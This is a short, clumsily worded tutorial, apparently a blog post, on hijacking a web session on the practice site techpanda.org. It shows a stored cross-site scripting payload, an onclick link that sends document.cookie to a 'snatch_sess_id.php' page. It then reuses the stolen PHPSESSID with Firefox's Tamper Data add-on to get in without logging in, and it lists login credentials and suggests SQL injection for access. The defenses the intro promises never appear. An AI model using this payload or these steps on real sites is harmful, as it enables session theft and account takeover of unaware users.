How-to-Hacking-a-Website-with-simple-steps |
You'll learn how to hacking a websites in this course, and we'll also introduce you to how to start hacking a website strategies, and defenses you can adopt to prevent such attacks, and the best websites to practice hacking,
How to Hacking a Website with simple steps
In this realistic website hacking scenario, we are going to hijack the user session of an online application at www.techpanda.org. Cross-site scripting will be used to read the cookie session ID, which will then be used to pretend to be a real user session.
The basic assumption is that an attacker has access to a web application and wants to commandeer the sessions of other users using it. If the attacker has a limited-access account, the attack may aim to gain administrator access to the online application.
starting up:
- Visit http://www.techpanda.org
- Access via SQL injection is highly recommended for practice reasons. For more details on how to achieve this, see this article.
- admin@google.com is the login email, and password2010 is the password.
- If your login is successful, you will see the dashboard below.
- Select Add New Contact.
- Please enter the first name shown above.
<a href=# onclick=\”document.location=\’http://techpanda.org/snatch_sess_id.php?c=\’+escape\(document.cookie\)\;\”>Dark</a>
JavaScript is used in the code above. A hyperlink is added using an onclick event. When the unaware user clicks the link, the event gets the PHP cookie session ID and transmits it, together with the session id in the URL, to the snatch sess id.php page.
- The following screen will now appear as your dashboard.
Note: The user can be returned to the page as if nothing had happened once the script has sent the value to the remote server where the PHPSESSID is stored.
Note that although the price you receive may be different from this website hacking tutorial, the principle remains the same.
Using the Tamper Data add-on and Firefox to impersonate a session
The steps you must follow to complete this activity are explained in the flowchart below.
- For this step, you'll need Firefox and the Tamper Data add-on. Launch Firefox and install the add-on as shown in the diagrams below.
- On the Start Tamper menu, click
- Open Firefox again and enter the URL http://www.techpanda.org/dashboard.php then press Enter to bring up the page.
- The following pop-up will appear with the tamper.
Please note: that we do not authenticate by logging in. Instead, we used PHPSESSID information obtained from cross-site scripting.
Related to this post:
0 Comments
If you have any doubt, please let me know